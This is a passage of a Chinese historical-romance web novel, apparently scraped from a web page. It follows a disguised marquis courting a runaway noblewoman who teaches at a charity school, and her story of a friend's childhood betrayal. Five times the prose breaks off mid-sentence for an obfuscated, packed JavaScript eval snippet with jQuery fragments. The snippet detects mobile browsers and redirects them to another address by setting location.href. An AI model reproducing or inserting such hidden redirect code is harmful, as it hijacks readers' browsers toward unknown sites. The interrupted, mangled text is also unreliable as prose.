卢烨和徐肃年虽然同为此次朝中办事的钦差,但因为这些年卢烨一直待在翰林院,和其余官员都甚少有交集,除了离京前拜别皇帝,这是两人第二次面对面说话。
“侯爷。”卢烨提早就在院中等,见到徐肃年进来后,立刻躬身行礼,“侯爷这一路辛苦。”
徐肃年朝他点了点头,客气道:“卢大人辛苦,你我同为朝廷办事,不必多礼,我们进去吧。”
听见这话,卢烨无声地松了口气,在朝为官,又是皇帝近臣,他自然听过这位端阳侯的传闻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279248|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
——
位高权重,深受皇恩,为人却很是特立独行,冷酷残暴。
来洛州的路上,他心里几乎无时不在打鼓,生怕这位尊贵的侯爷不好相处。
但眼下看来,似乎流言有误。
他的态度虽然说不上温和可亲,却也着实不算冷淡,话里话外也并无揽权的意思,且行事十分干净利落,没几句话就说明了接下来的计划。
卢烨虽是状元,但在读书这条路上,着实算不上有天赋,三十岁才得中状元,算起来,他比徐肃年年长了十岁有余。
他是寒门出身,一路走到现在,难免生出些自命不凡的清高之意,尤其是看着长安城那些靠祖宗荫庇为生的纨绔子弟,心中更是不屑。
在他见到徐肃年之前,他也将徐肃年归在这一类里。但如今真的见到了之后,他只觉羞愧,为自己的狭隘。
只可惜这样的青年才俊名声却极差,就算陛下日后再想重用,怕也是难违民意。
卢烨一边记下徐肃年的吩咐,一边在心里默默叹息。
徐肃年坐在他的对面,只看他的表情就能猜到他心里在想什么,因为几乎每一个与他第一次相处的人,都会露出同样的表情。
会叹息,会感慨,只能代表他们不懂君心。
当今陛下并不需要声名俱佳的功臣,只需要能够帮他办事的刀。
他心知肚明,自愿为之,并不需要任何人的怜悯。
不过这话他自然不会对卢烨说,两人又详谈了一些具体的细节,徐肃年便欲起身告辞。
卢烨将他送到门口,然后从怀里掏出一封漆印完好的信,递给了徐肃年,“侯爷,这是丹宁长公主府今日送到官驿的家书,我担心白日送去太过惹眼,因此才等到这时候再交给您,还望您不要见怪。”
徐肃年伸手接过,与他道了声谢。
回去坐的马车,徐肃年没等到回济善堂,在马车里就直接拆开看了,信中的内容果然是燕国公府退婚之事,母亲大约心有犹豫,特意写信到洛州来问他的意见。
才不过一天,徐肃年就已经改变了主意。
马车里预备了纸笔,徐肃年飞快提笔写了回信,交代齐甄派人快马加鞭地寄回长安。
他当然不会答应退婚。
但他心里也很清楚,燕国公府到底不是什么小门小户,若是盛家执意要退,就算他母亲贵为长公主也没什么用,反而会因此坏了两家的关系往来。
说到底,这件事的关键还是在盛乔身上。
只要她喜欢他,就算退了婚,也能姻缘再续。
15. 先生
15.
不知是不是错觉,盛乔总觉得,徐少安好像有些变了。
今日她上课的时候,徐少安竟然也来了。
学堂已经正式开学了,盛乔虽然在学堂上了很多年学,四书五经也都读过,但实际上根本没记到心里,惟有一手行楷还算拿得出手,因此在济善堂授书学,每天教孩子们描红写字。
她没有做先生的经验,一笔一划都讲得很细,好在这些孩子都很听话,每句话都听得很细。
盛乔讲了两刻多钟,便让人分发了纸笔,让孩子们自行练习。
盛乔今天站了小半个时辰,已经累得腰酸背痛,正好趁着孩子们练习的时候坐下歇一歇。
天气越来越热,他们是在后院的一处水榭上课,为了透光,窗边的竹帘全都卷了起来,从盛乔的位置看过去,能看到外面的粼粼水景。
她正看着窗景歇眼,忽然看到对面廊桥上有人影闪过,还没看清是谁,徐少安已经躬身走进了水榭。
盛乔一怔,正想问他怎么来了,就见他朝她笑了笑,然后径直走到最后的位置坐下。
盛乔本以为他是找自己有事,没想到他就直接坐下了,她奇怪地看他两眼,又特意走过去转了一圈,谁知他半句话不说,只抬眼看着她。
盛乔被他看得莫名其妙,用口型问他想做什么。
徐肃年看着她偷偷摸摸的表情,莫名就有些想笑,他轻挑了一下俊眉,也用气声回她,“只是来看看。”
盛乔以为他是好奇,嗔怪地瞪他一眼,转身走了。
没一会儿,盛乔拿了一沓裁好的宣纸放到他的面前,哼道:“反正你也闲得没事干,不如也来写一篇吧。”
说完便不再理他,转身回了自己的座位。
等两刻钟后下了课,孩子们将今日的课业都交了上来,然后与她说道别。
盛乔温和地和她们挥手,目送她们出了水榭,一下子就变了脸。
她抱着那一摞纸走到徐少安身前,凶巴巴地朝他摊开手,“你的课业呢?”
她刚刚在上面可都看到他在埋头写什么东西了。
说着她就要去拿他铺在桌上的纸,却被他一把扣了过去。
盛乔这下更好奇了,别开他的手想去拿,却被他一把捉住手腕,直接拉出了水榭,“已经到午膳时间了,小娘子饿不饿?”
这话题转得未免有些太生硬了,盛乔瞪他一眼,但又没他力气大,拗不过只好跟着他走。
徐肃年问:“中午有没有什么想吃的?”
盛乔说:“今日是济善堂开学第一日,表姐说孟娘子请大家在庆欢楼吃饭,你和我一起去吧。”
庆欢楼是洛州城里最大的酒楼,离着济善堂颇有些距离,郑墨担心盛乔不认识路,和纪明实特意留下等她一起,没想到后面还跟着一个徐肃年。
郑墨看着两人颇为亲近的距离,想说什么,但毕竟当着人的面,忍了忍还是咽了回去。
徐肃年只当没察觉,十分自然地拱手和二人见礼。
郑墨再度蹙起眉,这人先生不像先生,下人不像下人,更别提什么车夫不车夫了,成天无所事事地跟在阿乔后面,姿态还那般亲近,他到底是想做什么?
纪明实也敏锐地觉察出了他和盛乔之前的关系有些不同寻常,不过也只是微微蹙了下眉,并给身边的郑墨递了个眼神,主动说道:“就等阿乔和少安兄了,我们出发吧。”
庆欢楼在行人繁多的主街,又是这个时辰,四人便没有骑马,而是坐上了马车。
郑墨是第一个上车的,然后伸手去拉盛乔,纪明实跟在两人后面,等
两个女郎都坐稳之后,也跟着上了马车。
这马车不算大,三人坐下之后,马车内的空间更显狭窄。
徐肃年看着那两人将盛乔紧紧护在最中间,不知是在防着谁。
他无声冷笑一声,干脆没再上去,直接把车帘放下了。
郑墨微微怔了一下,但心里还算满意,还好这人算识趣,总算没忘了自己的身份。
谁知身边的盛乔忽然从位置上站了起来,撩开车帘,往外探身问道:“徐少安,你怎么不上来?是有东西忘拿了么?”
徐肃年已经坐到了驭座上,并未回头,“我怎好个主人家共坐一辆马车。”
连马都已经乘过同一匹了,这会儿倒是守起规矩了。
盛乔心里腹诽,说:“我何时在意过这些了?快上车来吧,济善堂有车夫。”
徐肃年却沉默未动。
再不出发只怕就要迟到了,盛乔嫌这人磨蹭,直接去推她的肩膀,“徐少安……你还在等什么?还不快点上来!”
徐少安终于回过头,但仍是沉默不语。
盛乔此时也发现他的表情不对了,干脆蹲到了他的身边,追问道:“到底怎么了?”
徐少安这下总算有了反应,却没有立时回答,而且先半遮半掩地看了一眼被车帘挡住的车厢。
盛乔跟着他转头看,却没明白他的意思,催促道:“你倒是快说呀。”
徐肃年无声地叹口气,俊朗的眉心微微蹙起,小声叹道:“小娘子善心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279249|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只是我身份低微,还是不坐进去了。”
这是什么话。
盛乔觉得他实在有些想多了,她表姐和纪明实都不是那么在意身份的人,正欲解释,忽然车帘再度被人掀开,郑墨朝她招手,“阿乔,过来。”
盛乔只得先坐进去,“表姐,我……”
她以为郑墨是等得不耐烦了,正想替徐少安解释,郑墨却直接打断了她的话,将她按在了座位上,然后朝车外吩咐,“出发吧。”
怎么就出发了。
盛乔有些着急,“徐少安还没上车呢。”
郑墨原本就感觉盛乔和那个车夫之间不是单纯的主仆关系,此时见她这个反应,心中怀疑更甚。
当时盛国公要给盛乔订婚时,她之所以同意她逃婚,是因为她觉得盛乔的幸福比联姻更重要,更何况以盛乔的身份来说,根本不需要联姻。
但也正是因为盛乔的身份已经足够尊贵,就更不能和一个微末身份的车夫有牵扯。
于是,郑墨的态度更是坚决,直接道:“他本来就是车夫,上车做什么?”
盛乔没想到郑墨会这么说,不由得有些发愣。
她推开窗户想和赶车的徐少安说话,让他先把马车停下,谁知他只是回头看着了她一眼,虽然笑着,却难掩落寞之意。
像是有谁往她的心口泼了一碗醋,盛乔心里一下子酸酸的,只觉得徐少安实在太过可怜。
虽然他是车夫,但这一路相处下来,她能感觉到,他的性格很是骄傲。而她也从未真的把他当成过下人。
何况他还救过她,还是她的救命恩人。
此时他还在呢,表姐就这么说他,只怕他的自尊心要受不了的。
盛乔咬了咬唇,摇头道:“他现在不是车夫了,也是济善堂的先生,和我一样。”
郑墨一听这话就皱起眉,还想再劝,却见盛乔直接拍了拍门板,“停车停车。”
徐肃年及时勒住缰绳,伸手拉开车门,果然见盛乔从车厢里钻了出来。
“小娘子,你……”
没等他把话说完,盛乔就已经坐到了他的身边,一推他的手臂,语气生硬地说:“好了,继续驾车吧。”
徐肃年一副惊讶的表情,“小娘子,您……”
盛乔抬头看他,凶巴巴的,“怎么,这位置你能坐,我就坐不得?”
徐肃年掩去眸底的笑,摇头,“怎么会。”
他将马鞭挪到右手握着,然后左手一把环住盛乔的肩膀,低声道:“我只是想说,小娘子应该坐得近一点。”
16. 思敏
16.
习惯真的是一个很可怕的事情。
男人第一次碰她时,盛乔下意识就是拒绝,第二次,她仍然觉得犹豫,但到现在,他再次搂上她的肩膀时,盛乔已经完全没觉出什么不对,很是自然地就挪到了他的身边。
方才盛乔从马车里出来的太急,因此车门没有完全关紧,正坐在门口的纪明实一偏头就能看到车外的情景——
马车不大,驭座也不算宽敞,那两人竟然就毫不避嫌地挤在一起,高大的郎君几乎将身旁的小娘子都圈到了自己的怀里,阿乔曲起的膝盖几乎就要贴上男人的大腿了。
这样亲密的姿态,哪里像是单纯的主仆?
这徐少安不过一介车夫,竟然就敢与主家的小娘子这般亲近。
纪明实悄悄攥紧了袖中的手。
车内投来的目光实在过于明显,徐肃年假装没有察觉,唇角却不着痕迹地勾了勾。
约摸两刻钟后,马车停到了庆欢楼的门前,徐肃年和盛乔先下了车,然后打开门让郑墨和纪明实下车。
郑墨下车之后气得使劲点了点盛乔的额头,一副恨铁不成钢的模样,又狠狠瞪了旁边的徐肃年一眼,但到底是没说什么。
一行人直接上到顶楼提前定下的雅间,孟娘子已经在房间里等了,她听到动主动迎了出来,欢喜道:“阿墨,你终于来了。”
郑墨还在台阶上就朝她招手,“阿絮!”
快步走了几步之后,又想到身后的盛乔,特意拉着她一起走过去,“阿絮,这是我的表妹阿乔。”
盛乔不爱出门,不是很习惯这样的场合,上前打招呼时难免有些拘谨。
孟絮笑着对她说:“我上次见到阿乔的时候,她还是个小孩子呢。”
盛乔有些惊讶,“孟姐姐见过我?”
孟絮说:“思敏是我表妹,小时候你们不是常在一起玩么,我曾和她一起去过贵府。”
听到“思敏”这两个字,盛乔的表情明显僵了一下,郑墨是最清楚盛乔旧事的,见此忙岔开话题,对孟絮说:“好了,好了,要叙旧我们一会儿再说,现在先上去吧。”
孟絮是个聪明人,虽然不知盛乔和自己的表妹思敏之间具体发生了什么,但也能看出盛乔表情不对,于是抱歉地笑了一下,领着众人进了雅间。
盛乔的情绪却有些低落,连吃饭的时候都有些没精打采的。
今日济善堂的所有先生都来了,因此分了男女席,徐肃年早就发现了盛乔的表情不对,一直找不到机会问。
直到筵席结束,众人走出庆欢楼,徐肃年特意落后几步来到盛乔身边,正要问她怎么了,忽听得不远处传来一道娇柔的女声,“表姐,你今日怎么在这?”
众人顺着声音传来的方向看过去,只见一衣饰华丽的年轻女郎,正一脸惊喜的看着孟絮。
看来这就是孟娘子所说的表妹了,原来她也是洛州人。
思及此,徐肃年立刻抬头去看盛乔,果然见她变了脸色。
此时对面的虞思敏也注意到了孟絮身后的盛乔,先是一愣,而后快步走了过来,不敢相信地开口,“阿……阿乔。”
理智告诉盛乔,她已经是个长大了,不应该再为小时候的事计较,可她忍了再忍,还是没能成功挤出笑容,就那么一言不发地看着虞思敏。
郑墨在背后悄悄戳了戳盛乔的胳膊,示意她好歹打个招呼,盛乔咬了咬嘴唇,还是没说话,直接越过众人上了马车。
谁都没想到盛乔会直接跑掉,尤其是虞思敏,脸色一下子变得很难看,孟絮也面露尴尬之色,看向郑墨。
郑墨一边努力打圆场,一边给纪明实使眼色,让他去追盛乔。
但就在这一会儿,徐肃年已经先他一步追了上去。
“小娘子……”
他顾不得别人怎么想,直接跟着盛乔上了马车,“你怎么了?”
盛乔坐在马车的角落,脸色很难看,看到徐肃年追过来,她抬头看了他一眼,但最终还是摇了摇头,说:“没什么。”
认识这么久了,徐肃年还是第一次看到盛乔这幅模样,在他心里,盛乔向来是活泼的,开朗的,即便曾因婚事烦恼,却也不曾低落至此。
不知道那女郎和盛乔之间到底发生了什么,竟然会让她露出这幅表情。
见盛乔不愿意说,徐肃年也不知道是该继续追问,还是出声安慰。
这时,车外传来一阵脚步声,徐肃年蹙了下眉,撩开车帘去看,见方才那个女郎正朝马车的方向走过来。
盛乔显然也看到了,她根本不想再见到虞思敏,催促道:“不要等他们了,我们先回去吧。”
徐肃年压下心里的疑惑,没再问,只听话地去驾车。
下午盛乔没有课,反倒是徐肃年,要给孩子们上第一堂骑射课。
他将盛乔送回院子的路上,就已经在琢磨怎么推掉,谁知盛乔根本没给他机会,回去之后就立刻把自己关进了房间,任他怎么敲门都不理。徐肃年又等了许久,可盛乔也只说自己想睡觉,让他快点离开。
隔着一扇门,徐肃年都能听出盛乔的语气不对,他叹口气,到底没再敲门,想着等下课之后再来找她。
谁知下课回到院子,又看到了齐甄送来的密信,他立刻拆开来看,原来是洛州下辖几个州县的官员都来了洛州,今日要办接风宴,卢烨担心他们是知道了什么,忙写信请徐肃年拿主意。
这是正事,徐肃年不敢耽搁,等处理完再回济善堂时,天色已经黑透了。
徐肃年本想直接就去盛乔的院子找她,想了想,又先回房沐浴更衣,然后从书桌上拿起一个狭长的锦盒,这才过去。
盛乔一直没出房间,下午又气又伤心一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279250|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点不觉得饿,因此连晚膳都没吃,可这会儿情绪过去,一下又想吃东西了。
她们的院子是有小厨房的,只是这个时辰厨娘大约都已经休息了,幸好房间里还有些点心,盛乔下床去拿,忽然听到房门被人轻轻扣了两声。
盛乔还以为是郑墨过来了,放下点心去开门,不想来的竟然是徐少安。
这斋舍住的都是女子,他这么晚还过来干什么?盛乔一下子愣住。
徐肃年也没想到盛乔这么轻易就把门打开了,表情也有些愣怔,但下一刻他就注意到了她红肿的眼睛,立刻皱起眉,问:“你哭过了?”
盛乔第一反应是摸了摸自己的脸,然后立刻就想把门关上。
但徐肃年比她动作更快,在她关门之前就直接挤进了房门。
盛乔被他吓到了,“你你你你,谁让你进来了。”
徐肃年先发制人,“小点声,你想让你表姐听到吗?”
盛乔一下子闭了嘴,可眼睛还瞪得圆圆的。
见她露出这幅表情,徐肃年就知道她的心情大约已经没有中午那么糟糕了,于是故意逗她,“眼睛都哭肿了,还能瞪人。”
盛乔果然不再瞪他,拿两只手飞快地捂住眼睛,压低声音赶人,“你快出去呀!”
徐肃年绕到她的面前,穷追不舍,“挡着脸做什么?”
也不知下午到底哭了多久,盛乔此时的声音都有些发哑,她瓮声瓮气地说:“你不是都说了么,我眼睛肿了,不能见人。”
徐肃年明知故问,“为什么不能见人。”
这人好烦,好啰嗦。盛乔觉得自己又要被气哭了,于是用左边胳膊挡着眼睛,另一只手使劲推了推眼前的男人,“反正就是不许看,你快走,快走!”
徐肃年没有绷着劲儿,就那么顺着她的力道后退,直到退到了桌子边,徐肃年一手撑住桌沿,一手扶住盛乔的肩膀,认输道:“好了别生气,我不说了。”
他的语气那么温柔,完全不是平时那不饶人的样子,盛乔却莫名更想哭了,连忙背过了身子。
“我没生气,”她赌气似的,“只是不想看到你。”
“有东西送你也不想看?”徐肃年说着,把手里的锦匣绕到她面前挥了挥。
盛乔挡着脸,看不清具体是什么,却被这话勾出了好奇心。
徐肃年也没再继续逗她,走到她面前,直接打开了匣子。
盛乔把手指稍稍挪开了些,透过指缝去看,那是一个长长的匣子,看形状像是放字画用的。
果然打开之后,里面放的是一个卷轴。
看着有些眼熟啊。
徐肃年将卷轴缓缓打开。
盛乔终于想起来,这不是上午她发给他让他练字的宣纸么。
不过纸上没有字,只有一幅栩栩如生的画。
画的……是她。
17. 旧事
17.
“你……”盛乔盯着那画看了半天,又惊又喜地问道,“这是你画的?”
这画虽然简单,只有一个女子的半身像,但每一笔都画得很精致,一看就知道是有功底在身,至少盛乔自认自己画不了这般精细好看。
徐少安竟然还有这样的本事?
徐肃年早就想好了说辞,“小时候学过几年,长大了也曾靠卖画为生,只是来钱太慢,渐渐地就不怎么画了。”
原来是这样,盛乔并未怀疑,又看向那副画,问:“这是送给我的?”
徐肃年扬了扬眉,反问道:“画的是你,不送给你送给谁?”
从小到大盛乔收过的礼物无数,这幅画算是最简陋最不值钱的一个,但这是专门画给她的。
盛乔心里感动,嘴巴却不饶人,“明明让你写字,你却偷画我。”
徐肃年如何看不出她在嘴硬,却故意道:“原来不喜欢啊,那算了,我收回去吧。”
说着就要把那画卷拿回来,盛乔下意识就要去抢,可她动作太慢,一下没抢到,仰头时正看到男人眼里的戏谑。
就知道逗她,这时候也总要逗她。
盛乔生气地瞪他一眼,干脆转过身,“那你拿走吧。”
徐肃年见她真生气了,忙把画递回去,哄道:“明知道我是逗你的,怎么还真生气?”
盛乔的情绪却一下子上来了,红肿未消的眼睛浸了泪,委屈地看着他一眼。
那一眼似嗔似怨,徐肃年感觉心脏都软了几分,张了张口,竟不知道要说什么。
盛乔也不想再理他了,但也没赶他,只把他推开走到美人榻上坐下。
徐肃年见她这样,就知道她还是再为白日的事伤心,犹豫了一下,还是走过去坐到她的身边,问道:“你和那位娘子之前发生过什么,让你这么生气,不如和我说说如何。”
盛乔抬头看了他一眼,眸中似有犹豫,没有开口。
徐肃年没哄过小娘子,在心里打了半天的腹稿,才说:“虽然我不知道发生了什么,但毕竟已经过去那么久,若是一直放在心里,伤的只会是自己,不如同我说说,也能发泄一番情绪。”
说得也不算没道理,盛乔犹豫了一下,终于开口,“她叫虞思敏,曾经是我最好的朋友。”
“虞?”这个姓氏可不算常见,徐肃年在脑海中搜索了一番,问道,“难道是虞正河?”
“你竟知道?”盛乔有些惊讶地点了点头,“虞家原本也在洛州,和我外祖家关系很近,后来虞思敏地父亲升官到了长安,我外祖父还特意给我阿爹写信,后来虞思敏就到我在的鸿鹄书院来读书了。”
虞正河的官职不低,可虞家在长安没有根基,初至长安,估摸很多世家大族都不愿结交,燕国公府能在这时伸出援手,只怕对虞家的好处不只一点半点。
只是他怎么没听说过虞家还和燕国公府有过往来。
徐肃年眸中闪过无数思绪,但他并没有表现出来,只配合地问道:“之后呢?”
盛乔的声音不大,还带着一点哭过之后的喑哑,听着有些可怜。
“后来,我们就认识了,然后关系也越来越好……”
那时候盛乔年纪还小,在鸿鹄书院里一直都是被照顾的,但是虞思敏比她还小上几个月,再加上初到长安城总有些怯懦,不敢和别人说话,就每天都黏着盛乔。
盛乔其实也不是没有朋友,毕竟她出身燕国公府,书院里没有几个人的身份能比她还尊贵。
只是朋友和朋友是不一样的,有的依仗身份,有的是凭借真心。
盛乔在书院虽然被众星捧月,可她仍然觉得孤独,直到虞思敏到了书院之后,盛乔无处盛放的热情和保护欲终于有了用武之地,两个人很快成了最好的朋友。
她们每天一起上课读书,一起做功课,一起被夫子罚。
盛乔一直觉得,虞思敏是她最好的朋友。
后来她十三岁生辰时,虞思敏约她到长安郊外的金光寺玩。
除了去书院,盛乔一直不怎么出门,那金光寺也只在小时候跟着兄姐们去过几次,家里人不放心,于是叫了许多护卫和丫鬟跟着她们。
虞思敏却说她们出来就是想玩的,这么多人跟着也是束手束脚,不如把他们甩开。
盛乔其实也这么觉得,没有多想就把那些扈从都扔下了。
金光寺是在山上,后山种满了桃花,虞思敏带她爬山赏花,盛乔正乐不思蜀时,虞思敏忽然说身体不舒服,让她等一等。
盛乔就在半山腰的凉亭里等她,可不知等了多久,可始终没有等来虞思敏的影子。
她担心虞思敏出事,想去寻她,最后却在满山桃花后山里迷了路,直到天都黑透了,她才被家里派来的人找到。
她生辰在初春,天气还没回暖,在山上冻了一下午,回去就发了高热,险些去了半条命。
一向好脾气的阿爹都发了火,虞家父母登门道歉,被他直接轰出了门。
盛乔担心虞思敏会受罚,还和爹爹说情,后来虞思敏与她哭着道歉时他,她也很快原谅了她。
她以为虞思敏是突然遇到了什么急事,又或许也和她一样迷了路。
可直到那天她无意间听到虞思敏和惠国公府的朱七娘子说话时,才知道她竟然是故意那么做的。
惠国
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288178|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
公府是皇后母家,又是七大世家之首,朱七娘也是书院里唯一一个不和盛乔结交的人。
不过两人一向井水不犯河水,盛乔性子软,不和任何人起冲突。
但不知为何,朱七娘一向看不惯盛乔。
不过其他的学子虽然畏惧朱家,却也不敢得罪盛乔。
只有虞思敏。
盛乔不明白她为何要那么做,想去问,却在推门的那一刻胆怯了,她很怕会是自己的原因。
但在那次之后,她再也没有理过虞思敏,虞思敏大约也发现了事情暴露,没再纠缠,转而去和朱七娘好了。
直到几个月后,虞思敏又来与她道歉,她才终于知道了原因。
原来那时虞思敏的阿爹的顶头上司正是惠国公的亲弟弟,虞思敏不敢得罪朱家,只能听朱七娘的话。
虞思敏那日在盛乔跟前哭了很久,也说了很多到长安之后的委屈,最后请求盛乔原谅她。
盛乔一向心软,那天却难得坚决地摇了摇头。
再后来虞思敏又到盛家找她,她干脆告诉把这件事告诉了阿爹,再之后,虞家就举家离开了长安。
盛乔知道,这是阿爹在为自己出气,她应该觉得痛快,但也忍不住怀疑自己,毕竟虞思敏也真的对她很好,她这么做会不会有些太绝情了。
她曾用这话去问过郑墨,郑墨虽然没说什么,可她能感觉到,郑墨也是觉得虞思敏罪不至此。
不料徐肃年听完,却很是坚决地说:“不,你做得对。”
盛乔一下子顿住,抬头看他。
徐肃年问:“你知道虞娘子为何要过了几个月再去找你和好吗?”
盛乔摇了摇头。
徐肃年说:“据我所知,虞家二娘子曾和惠国公府的郎君议亲,但后来亲事未成。想来虞家本是想搭上朱家的,没成功才退而求其次地找到你,本质也是贪图你家富贵罢了,所以你不用内疚。”
竟然是这样,盛乔愣住,一时间竟忘了怀疑他一介车夫是怎么知道这些事的。
徐肃年看着她的表情,也没再多说,只道:“看罢,还是说出来好,以后也再不必去想这件事了。”
对于虞思敏,盛乔有生气有伤心,也有愧疚,这些情绪乱七八糟地纠缠在一起,始终沉沉地压在她的心底。
但在这一刻,她仿佛真正地释然了。
徐肃年看着她的表情,心里也松了口气,他重新将那画卷拿出来,递到她的手边,“好了,别为不值得的事伤心了。”
盛乔抹了抹眼睛,赞同道:“你说得对,我不该纠结的,若她当我是朋友,当时就该与我直说,何必骗我?我最讨厌别人骗我了。”
18. 梳妆
18.
“你说得对,我不该纠结的,若她当我是朋友,当时就该与我直说,何必骗我?”
“我最讨厌别人骗我了。”
盛乔说完,便要去拿徐少安递来的画,抬头却见他的表情不太对。
“你,你怎么了?”盛乔戳了一下他的手臂。
徐肃年勉强笑了一下。
其实他又何尝不是在骗盛乔,若有朝一日盛乔知道了他的身份,会是什么反应。
会因为他的欺骗而生气,还是会为他的身份而惊喜。
徐肃年忽然很想问,但看着盛乔重新开心起来的眉眼,到底没有开口。
到底在想什么,这么犹豫。盛乔难得见他有这般表情,好奇地探过头去看他,“你怎么了?”
女郎漂亮的面孔骤然拉近,徐肃年下意识地往后仰了一下。
看他这逃避的动作,盛乔握着画卷点了点他的胸口,挑眉审问道:“徐少安,我怎么觉得你很心虚呀?”
怕她真觉出什么不对来,徐肃年咳一声,没再扭头,反而看了回去。
他的眼神过于直接,像一潭幽静的湖水。
这下倒教盛乔退怯了,两人什么时候已经凑得这般近了,盛乔连忙把距离拉远,重新坐回榻上。
她看着外面已经漆黑的夜幕,“已经很晚了,你该走了。”
的确不能再待下去了,徐肃年也知道分寸,没再说什么,转身就要往门口走。
盛乔却一把拉住了他,“你,你干嘛呀。”
徐肃年疑道:“不是你让我走的吗?”
盛乔语气有些急,“是让你走,但你不能走门。”
徐肃年回头看了看紧闭的房门,问:“不走门走哪?翻窗户么?”
说这话本是开玩笑,没想到盛乔竟真的煞有介事地点了点头,“对啊。”
“……”徐肃年不明白,“这又是为何?”
盛乔还记得自己从前看过的那些话本,翻窗这种桥段很常见的。她振振有词地开口,“你走门的话,动静那么大,不是很容易被发现么,若是被人发现了,我该怎么和人解释?”
“……”
正大光明从正门出去,就算被人看到也能解释,可若是翻窗户被人看见,只怕就真的解释不了了。
不过这话徐肃年没有说出来,只又看了一眼盛乔认真的表情,压了压唇角,当真推开窗户翻了出去。
等他走后,盛乔还是不放心,又守在窗户边观察了一下院子里的动静,寂静如初,确定郑墨是真的没有发现,这才终于放了心,重新阖上窗户。
男人送来的画方才被她放在桌上,盛乔走过去重新拿起来展开。
方才只是大致扫了一眼,没有仔细地看,这会儿重新展开欣赏,愈发觉得每一笔都画得很好,鬓间的蝴蝶钗像是活过来了似的,仿佛能听到垂落的珍珠流苏清脆的碰撞声。
这实在是一副好画,再加上画的是她,盛乔就更喜欢了。
她爱不释手地赏玩许久,等收起来的时候,天边的月亮已经悬上了屋檐。
盛乔将画卷抱在胸口,走到妆台前,翻出一把轻便的手镜揽镜自照,镜面照出她略显憔悴的面孔,盛乔忍不住想,徐少安把他画得那么好看,那么上课的时候,他一直在看自己么?
可她今天哭了这么久,会不会明天就不好看了?
第二天晨起,郑墨照旧来敲盛乔的门,叫她一起去用早膳。
盛乔起床晚,光醒神就要好久,郑墨每天都要等她好一会儿,早就有心理准备了。
因此她敲完就打算到院子里的石桌旁坐下,不料门竟然很快就打开了。
怎么今天这么快,郑墨正想着,一抬头看到盛乔的脸,更是一副见了鬼的模样,“你这是……”
盛乔摸了摸鬓角,忐忑道:“不好看么?”
“好看。”郑墨摇了摇头,说,“我只是奇怪,你怎么今日还特意敷了胭脂。”
盛乔道:“以前在长安的时候,我也会打扮的。”
“你都说了,那是以前。”
郑墨很是新奇地围着盛乔前后绕了两圈,摸着下巴评价:“反正就是不对劲,你今天的簪子和裙子竟然是同色的!”
盛乔又心虚地摸了摸发簪,“琥珀选的。”
郑墨对她实在太过了解,只看她一眼就知道她在说谎,“真的?那我去问问琥珀。”
“哎呀表姐!”盛乔一把把她拉住,“不许去。”
“其实……其实,我是怕你说我不够得体嘛,毕竟现在我已经长大了,又做了先生,我只是想穿得,穿得漂亮一点,你不许骂我。”
盛乔磕磕绊绊地找理由,好在郑墨这回没再说什么。
盛乔以为她是相信了,忙挽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293324|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住她的手臂,讨好道:“好了我的好表姐,我们快去用早膳吧。”
郑墨被她拉着往前走,心下却很是复杂。
梳妆打扮这件事,对于从前的盛乔来说,的确不奇怪。
但自从逃婚离开长安之后,盛乔整个人就变懒了很多,早上不愿意起,有时候连早膳都不用,更别提梳妆打扮了。
